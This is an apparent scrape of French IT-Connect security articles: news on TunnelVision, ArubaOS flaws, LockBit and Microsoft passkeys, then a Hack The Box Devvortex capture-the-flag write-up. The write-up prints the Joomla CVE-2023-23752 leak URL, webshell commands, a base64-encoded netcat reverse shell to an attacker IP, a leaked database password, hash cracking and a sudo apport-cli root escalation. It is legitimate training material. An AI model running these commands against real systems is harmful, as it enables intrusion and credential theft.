III. Mise à jour des tests Maester

L'équipe Maester ajoute de nouveaux tests au fil du temps, il faut donc penser à mettre à jour le module et les tests de temps en temps.

cd <chemin>maester-tests\tests

Mettre à jour le module Maester :

Update-Module Maester -Force
Import-Module Maester

Mettre à jour les tests Maester :

Update-MaesterTests

Tous les tests personnalisés dans le dossier "/Custom" seront conservés.

Les fichiers de test des autres dossiers, notamment "/EIDSCA", "/Maester" et "/CISA", seront remplacés par les tests les plus récents :

IV. Contribuer à l’amélioration du produit

Maester est une solution récente et se focalise pour le moment uniquement sur les tests Microsoft Entra ID. Cependant, compte tenu de son fonctionnement et de sa flexibilité, il est tout à faire possible de créer ses propres tests et de participer à ce projet communautaire.

Pour approfondir le sujet de l'audit Microsoft 365, vous pouvez consulter cet article :

• Comment réaliser un audit de Microsoft 365 ?

The post Maester, l’outil pour automatiser vos tests de sécurité Microsoft 365 first appeared on IT-Connect.

TunnelVision, c'est le nom de la nouvelle vulnérabilité et technique d'attaque mise au point par des chercheurs en sécurité et qui permet de détourner le trafic des tunnels VPN ! Voici ce qu'il faut savoir !

Lorsqu'un appareil se connecte à un réseau distant via un tunnel VPN, le trafic réseau de la machine passe par ce tunnel chiffré et sécurité. En fonction de la configuration du VPN, tout le trafic pourra passer par le tunnel VPN (full VPN) ou uniquement certains flux (split VPN).

Par ailleurs, le VPN peut être utilisé pour naviguer sur Internet tout en masquant son adresse IP publique : c'est l'une des "fonctions" des VPN grands publics. C'est ce cas d'usage qui est directement affecté par la technique évoquée dans cet article.

Les chercheurs en sécurité de chez Leviathan Security ont mis en ligne un nouveau rapport au sujet d'une technique d'attaque baptisée TunnelVision. D'après eux, cette technique est exploitable depuis 2002 et elle fonctionnerait avec l'ensemble des solutions VPN.

TunnelVision et l'option DHCP 121

Pour exploiter cette vulnérabilité associée à la référence CVE-2024-3661, un attaquant doit mettre en place une configuration bien particulière sur un serveur DHCP. En effet, il doit configurer l'option DHCP n°121 nommée "Classless static route" et dont l'objectif est de distribuer une ou plusieurs routes statiques supplémentaires au client DHCP, en plus de l'adresse IP, de la passerelle, etc.

Ainsi, l'attaquant peut créer ces routes avec une priorité plus élevée que celles définies par la connexion VPN, et ainsi, détourner le trafic VPN vers la passerelle de son choix. À ce sujet, les chercheurs précisent : "TunnelVision est une technique de fuite de VPN sur le réseau local qui permet à un attaquant de lire, d'interrompre et parfois de modifier le trafic VPN à partir d'une cible sur le réseau local." - L'attaquant doit se situer sur le même réseau local que sa victime, et il doit pouvoir modifier la configuration du serveur DHCP (ou utiliser un serveur Rogue DHCP).

Le fait de détourner le trafic ne semble pas empêcher le tunnel VPN d'être actif et cela n'a pas non plus alerté la fonctionnalité de protection "kill switch" intégrée à certains VPN : "Lors de nos tests, le VPN a toujours continué à signaler qu'il était connecté, et le kill switch n'a jamais été enclenché pour interrompre notre connexion VPN.", peut-on lire.

Quels sont les systèmes impactés ? Comment se protéger ?

Windows, Linux, iOS et MacOS sont des systèmes vulnérables à cette attaque. Android, quant à lui, n'est pas concerné. Pourquoi ? Et bien parce que l'option 121 du DHCP n'est pas prise en charge !

"Nous avons observé une mesure d'atténuation de la part de certains fournisseurs de VPN qui éliminent le trafic vers les interfaces non VPN par le biais de règles de pare-feu.", peut-on lire dans le rapport. La création de règles de pare-feu sur l'appareil local est donc une façon de se protéger de cette attaque. De plus, il peut s'avérer utile d'activer certaines protections comme le DHCP Snooping.

Enfin, sachez que TunnelVision ne dépend pas du protocole VPN utilisé, donc il n'y a pas un protocole à prioriser plus qu'un autre (OpenVPN, IPsec, WireGuard, etc.). Pour approfondir le sujet, vous pouvez consulter cette page sur GitHub.

Source

The post La vulnérabilité TunnelVision affecte tous les VPN et permet de détourner le trafic ! first appeared on IT-Connect.

Proton Pass marche dans les pas de ses rivaux en ajoutant une option qui permet de connaitre l'état de ses mots de passe. Ils sont trop faibles ? Trop réutilisés ? Exposés sur Internet ? Privés de double authentification ? Vous connaitrez ainsi vos marges de progression pour faire mieux.

Vous utilisez des équipements réseau de chez HPE Aruba Networking ? Alors, vous devriez lire cet article avec attention : plusieurs failles de sécurité critiques ont été corrigées dans le système ArubaOS. Voici ce qu'il faut savoir.

Très populaires en entreprise, les équipements HPE Aruba Networking sont affectés par plusieurs failles de sécurité. L'éditeur a corrigé 10 vulnérabilités dans le système ArubaOS, dont 4 failles de sécurité critiques qui méritent une attention particulière. En exploitant ces vulnérabilités, un attaquant pourrait exécuter du code à distance en tant qu'utilisateur privilégié sur l'équipement vulnérable.

Voici la liste des vulnérabilités critiques, toutes associées à un score CVSS de 9.8 sur 10.

• CVE-2024-26305
• CVE-2024-26304
• CVE-2024-33511
• CVE-2024-33512

Il s'agit de faiblesses de type "Buffer overflow" exploitables par l'intermédiaire du protocole PAPI. Ceci implique que l'attaquant puisse communiquer avec l'attaquant sur le port 8211 en UDP afin d'envoyer une requête spéciale sur l'interface PAPI (Performance Application Programming Interface).

Aruba : quels sont les produits et versions affectés ?

Dans son bulletin de sécurité, Aruba évoque les gammes de produits suivantes :

• Mobility Conductor (anciennement Mobility Master)
• Mobility Controllers
• Aruba Central pour gérer les passerelles WLAN et les passerelles SD-WAN

Les versions suivantes d'ArubaOS sont vulnérables :

• ArubaOS 10.5.x.x : 10.5.1.0 et antérieure
• ArubaOS 10.4.x.x : 10.4.1.0 et antérieure
• ArubaOS 8.11.x.x : 8.11.2.1 et antérieure
• ArubaOS 8.10.x.x : 8.10.0.10 et antérieure

Il est également précisé que certaines versions vulnérables ne sont plus prises en charge et qu'elles ne recevront pas de mises à jour de sécurité. Voici la liste des versions en question :

• ArubaOS 10.3.x.x
• ArubaOS 8.9.x.x
• ArubaOS 8.8.x.x
• ArubaOS 8.7.x.x
• ArubaOS 8.6.x.x
• ArubaOS 6.5.4.x
• SD-WAN 8.7.0.0-2.3.0.x
• SD-WAN 8.6.0.4-2.2.x.x

Comment se protéger ?

Pour se protéger de ces vulnérabilités, le système ArubaOS doit être mis à jour vers une version qui contient les correctifs de sécurité. Voici les versions à installer pour vous protéger :

• ArubaOS 10.6.x.x : 10.6.0.0 et supérieur
• ArubaOS 10.5.x.x : 10.5.1.1 et supérieur
• ArubaOS 10.4.x.x : 10.4.1.1 et supérieur
• ArubaOS 8.11.x.x : 8.11.2.2 et supérieur
• ArubaOS 8.10.x.x : 8.10.0.11 et supérieur

Sur ArubaOS 8.X, il existe une solution alternative autre que le patch de sécurité. Elle consiste à configurer la fonction de sécurité "Enhanced PAPI" pour ne pas utiliser la clé par défaut.

Pour le moment, rien n'indique que ces vulnérabilités soient exploitées dans le cadre de cyberattaques.

Source

The post Ces 4 failles de sécurité critiques exposent le matériel Aruba à des attaques par exécution de code à distance first appeared on IT-Connect.

Proton Pass marche dans les pas de ses rivaux en ajoutant une option qui permet de connaitre l'état de ses mots de passe. Ils sont trop faibles ? Trop réutilisés ? Exposés sur Internet ? Privés de double authentification ? Vous connaitrez ainsi vos marges de progression pour faire mieux.

Il y a un véritable match entre les autorités et les cybercriminels de LockBit ! Alors le groupe de ransomware a relancé ses activités malveillantes ces dernières semaines, leur site a été remis en ligne avec un message intrigant par les membres de l'opération Cronos ! Faisons le point.

Publication des données de l'Hôpital Simone Veil de Cannes

Il y a quelques jours, nous apprenions que les cybercriminels de LockBit étaient à l'origine de la cyberattaque ayant impactée l'Hôpital Simone Veil de Cannes. Désormais, dans la soirée du 1er mai 2024, les cybercriminels ont mis en ligne les données du centre hospitalier, ce dernier n'ayant pas payé la rançon.

Ce leak contient 61 Go de données, dont des informations sensibles et personnelles, des cartes d'identité, des RIB et des bulletins de salaire. La direction de l'Hôpital Simone Veil a confirmé qu'il s'agissait bien des données du centre.

La suite de l'opération Cronos

Mais, ces dernières heures, il y a eu un nouveau rebondissement dans l’affaire Lockbit : la suite de l'opération Cronos. Souvenez-vous, en février dernier, une opération internationale, surnommée Opération Cronos, a été menée par les forces de l'ordre et organismes de 11 pays. D'ailleurs, la France a participé par l'intermédiaire de la Gendarmerie Nationale, tandis qu'il y a également eu une participation du FBI, l'Allemagne, le Japon, la Suède, le Canada, ou encore la Suisse.

Les autorités étaient parvenues à mettre à l'arrêt un total de 34 serveurs de LockBit et récupérer des données cruciales. Ceci avait permis la création d'un outil de déchiffrement pour permettre aux victimes de récupérer leurs données sans payer la rançon.

Le site vitrine de LockBit avait été remplacé par une page mise en ligne par les forces de l'ordre suite à cette opération. Depuis quelques heures, cette page est de retour, ce qui pourrait correspondre à la suite de l'opération Cronos.

Les autorités ont repris le principe du compte à rebours utilisé par les pirates pour indiquer que le 7 mai 2024 à 14:00 UTC, ils dévoileront l'identité du chef LockBitSupps et des autres membres de LockBit. Autrement dit, nous aurions enfin la réponse à cette question à 10 millions de dollars : qui se cache derrière le pseudo LockBitSupps ?

Pour le moment, tout cela est à prendre avec précautions puisque les forces de l'ordre n'ont pas communiqué sur le sujet. Les prochaines heures nous permettront surement d'en savoir plus... Peut-être d'ailleurs par l'intermédiaire du compte VX-underground sur X. D'après ce compte, un membre de LockBit a indiqué que tout cela était des mensonges... Les autorités ont-elles de nouvelles informations ou cherchent-elles à déstabiliser le groupe LockBit en lui mettant la pression ? À suivre...

Source

The post Opération Cronos : les autorités sur le point de révéler l’identité des membres de LockBit ? first appeared on IT-Connect.

Les passkeys, ou clés d'accès, sont désormais prises en charge par Microsoft pour s'authentifier à son compte personnel Microsoft. De plus, la prise en charge des passkeys a été introduite au service de gestion des identités Entra ID. Faisons le point.

Au fil des mois, de plus en plus d'éditeurs et services ajoutent la prise en charge des passkeys pour l'authentification à son compte. Nous pouvons citer Google, Amazon, Apple, Proton, ou encore WhatsApp. Microsoft était déjà sur le coup, et à l'occasion de la Journée mondiale des mots de passe, l'entreprise américaine a annoncé avoir étendu la prise en charge des passkeys.

De quoi mettre de côté le traditionnel mot de passe associé à l'authentification multifacteur. Cette méthode d'authentification dite "passwordless" s'appuie sur des clés générées en local sur l'appareil. Ensuite, l'authentification s'effectue à l'aide d'un code PIN, d'une clé matérielle, du capteur d'empreinte biométrique ou de la reconnaissance faciale.

Une fois configurée sur votre compte Microsoft, cette méthode d'authentification pourra être utilisée pour vous connecter aux différents services de Microsoft, dont Outlook, OneDrive, Xbox Live, ou encore Copilot. Précédemment, la firme de Redmond avait ajouté la prise en charge des passkeys à son système d'exploitation Windows 11, afin que cela puisse être utilisé sur les sites web et services qui le prennent en charge.

Comment configurer une passkey sur son compte Microsoft ?

Rendez-vous sur cette page pour configurer une passkey pour vous connecter à votre compte Microsoft. En complément, vous pouvez consulter cette page du site de Microsoft pour obtenir de l'aide.

Une fois que c'est en place, vous pouvez vous authentifier grâce à cette nouvelle d'authentification comme le montre les images ci-dessous :

En principe, une clé d'accès devrait être créée sur un appareil et ne pas être partagée d'un appareil à un autre, mais Microsoft propose la synchronisation des passkeys pour le côté pratique : "Les passkeys peuvent également être synchronisés entre vos appareils. Ainsi, si vous perdez ou mettez à jour votre appareil, vos passkeys seront prêts et vous attendront lorsque vous configurerez votre nouvel appareil.", précise Microsoft.

Par ailleurs, la documentation de Microsoft précise que les systèmes suivants sont pris en charge :

• Windows 10 et versions ultérieures.
• macOS Ventura et versions ultérieures.
• ChromeOS 109 et versions ultérieures.
• iOS 16 et versions ultérieures.
• Android 9 et versions ultérieures.

Il est également précisé que les clés de sécurité matérielles qui prennent en charge le protocole FIDO2 sont supportées.

La prise en charge des passkeys dans Microsoft Entra ID

Pour les utilisateurs professionnels, Microsoft a ajouté la prise en charge des passkeys à son service Entra ID (Azure AD) en s'appuyant sur son application Microsoft Authenticator, disponible sur Android et iOS. Là encore, Microsoft propose d'utiliser des passkeys synchronisées ou liées à l'appareil.

Vous pouvez en savoir plus en lisant cet article de Microsoft, ainsi que cette page de la documentation officielle. Pour le moment, cette nouveauté est disponible en préversion publique.

Source

The post Microsoft ajoute la prise en charge des passkeys pour les comptes personnels Microsoft et pour Entra ID first appeared on IT-Connect.

I. Présentation

Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via cette page.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Devvortex

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP (10.10.11.242) de notre cible, commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.242

Nmap scan report for 10.10.11.242
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Seuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers http://devvortex.htb/. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver :

$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hosts

Il s'agit d'un vhost (voir cet article : Les vHosts sous Apache2). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

$ ffuf -w $s/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --fc 302
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 63ms]

La liste de mot (wordlist) utilisée ici est celle de la ressource SecLists, de Daniel Miessler. J'ai ajouté sur mon système une variable "s" qui contient le chemin d'accès vers ces listes (/usr/share/seclists) pour gagner en efficacité.

Via cette énumération de vhost, l'outil ffuf que j'utilise va effectuer des requêtes en changeant à chaque essai le sous domaine dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :

GET / HTTP/1.1
host: FUZZ.devvortex.htb

En identifiant des variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost dev.devvortex.htb. Que l'on rajoute également à notre fichier /etc/host :

echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hosts

Cela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé est un piège qu'il faut savoir éviter. Respecter une méthodologie est très important, notamment lors des phases d'énumération, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.

Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.

B. Exploitation d'un Joomla non à jour

Voyons à quoi ressemble ce site web en développement :

Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (Content Management System) comme WordPress, Joomla ou Drupal est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier robots.txt :

$ curl http://dev.devvortex.htb/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
[...]

Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil nuclei :

Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning

Nuclei est un scanner de vulnérabilité web open source très intéressant. Il se compose de nombreux modules créés par la communauté. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration.

C'est un outil intéressant à lancer en parallèle des opérations manuelles puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.

Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information :

$ curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -                                                                                                  
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>[email protected]</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2019 Open Source Matters, Inc.</copyright>
  <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
  <version>4.2.6</version>
  <creationDate>2022-12</creationDate>

Avec cette version, nous pouvons effectuer une recherche sur les vulnérabilités connues grâce à searchsploit (voir Recherche rapide dans la base Exploit-DB avec searchsploit) :

La CVE impacte la version 4.2.8 (et probablement les précédentes) et notre version de Joomla est la 4.2.6, voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :

$ nuclei -u http://dev.devvortex.htb/                                                                                                                                                                                  
                                                                                                                                                                                                                                      
[...]                                                                                                                                                                                  
[CVE-2023-23752] [http] [medium] http://dev.devvortex.htb/api/index.php/v1/config/application?public=true                                                                                                                             
[...]                                                                                                                                                                     
[joomla-detect:version] [http] [info] http://dev.devvortex.htb/administrator/manifests/files/joomla.xml [4.2.6]                                                                                                                       
[...]

En se rendant sur cette URL (ou en utilisant le script indiqué par searchsploit), nous obtenons effectivement une belle fuite d'informations :

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès au panel d'administration du Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

C. Exécution de commande sur le système

L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : https://github.com/p0dalirius/Joomla-webshell-plugin

Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser les outils utilisés (faire une revue de code avant utilisation, ou faire votre propre plugin).

Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :

Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2LjIxIDkwMDEgPi90bXAvZgo=|base64%20-d|bash"

Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec echo, puis qui la décode et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des quotes, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 9001 >/tmp/f

Cette commande crée un pipe et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.

L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte, ce qui entraîne des alertes de sécurité.

Après avoir mis un netcat en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que www-data sur le serveur :

$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.16.21] from devvortex.htb [10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-data

D. Vol des identifiants de l'utilisateur logan

Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande netstat pour récupérer les services qui ont un port en écoute :

Technique d'attaque (MITRE ATT&CK) : T1049 - System Network Connections Discovery

$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          23392      883/nginx: worker p 
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        22905      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          24155      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      114        25609      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      114        25611      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          23393      883/nginx: worker p 
tcp6       0      0 :::22                   :::*                    LISTEN      0          24166      -           

Nous voyons, en plus de services que nous connaissons déjà, un service MySQL. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "users" du CMS Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: [Warning] Using a password on the command line interface can be insecure.
id      name    username        email   password        block   sendEmail       registerDate    lastvisitDate   activation      params  lastResetTime   resetCount      otpKey  otep    requireReset    authProvider
649     lewis   lewis   [email protected]     $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u    0       1       2023-09-25 16:44:24     2023-11-26 10:34:39     0               NULL    0                       0
650     logan paul      logan   [email protected]     $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12    0       0       2023-09-26 19:15:42     NULL            {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}     NULL    0                       0

Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.

Le code d'identification d'un hash, tel que le $2y$, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici, $2y$ indique que l'empreinte a été générée à l'aide de l'algorithme bcrypt. Il n'est cependant pas obligatoire pour tous les algorithmes.

Vous trouverez une liste très complète des types de hash ainsi que des exemples de format sur le site d'hashcat : https://hashcat.net/wiki/doku.php?id=example_hashes

Nous aurions également pu avoir cette information en utilisant l'outil hashid :

$ hashid '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                      
Analyzing '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                                    
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 

Utilisons l'outil johntheripper pour casser ce hash et retrouver le mot de passe qui a permis de le générer :

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably

Vous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "rockyou.txt" comme dictionnaire pour casser ce mot de passe.

Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations.

Il contient 14 344 391 mots de passe couramment utilisés, souvent faibles en complexité.

Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh [email protected]
logan@devvortex:~$ cat user.txt
8[REDACTED1

La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.

E. Élévation de privilèges via apport-cli et sudo

Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande /usr/bin/apport-cli en tant que root via sudo :

Technique d'attaque (MITRE ATT&CK) : T1033 - System Owner/User Discovery

logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli

Je ne connais pas du tout cette commande, regardons son aide avec l'option --help:

logan@devvortex:~$ /usr/bin/apport-cli --help           
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]    
           
Options:   
  -h, --help            show this help message and exit 
  -f, --file-bug        Start in bug filing mode. Requires --package and an           
         optional --pid, or just a --pid. If neither is given,         
         display a list of known symptoms. (Implied if a single        
         argument is given.)             
[...]
  -v, --version         Print the Apport version number.      

logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11

La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment d'un mode interactif à l'aide de l'option "-f". Nous pouvons également identifier sa version exacte avec l'option "-v". Je découvre que la CVE-2023-1326 (score CVSS3 : 7.8) affecte cette version :

Visiblement, apport-cli utilise less, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec sudo. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :

Ressource : https://gtfobins.github.io/ est une excellente ressource à connaitre. Ce site liste les exploitations possibles des binaires connus sous Linux. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via sudo ou un bit setuid (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir si les binaires utilisés ou présents sur un système présentent un risque.

https://gtfobins.github.io/

Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Le binaire apport-cli est donc exécuté en tant que root via sudo et utilise less, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (-f) et un mode "view report" (-v) nous est proposé, c'est certainement à ce moment-là que less intervient :

Et nous voilà avec les droits root sur le système ! L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

IV. Notions abordées

A. Côté attaquant

L'énumération de vhost peut apparaitre comme une étape secondaire, mais elle doit faire partie de votre méthodologie d'énumération. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.

Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est très facile de passer à côté de ce type d'information pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.

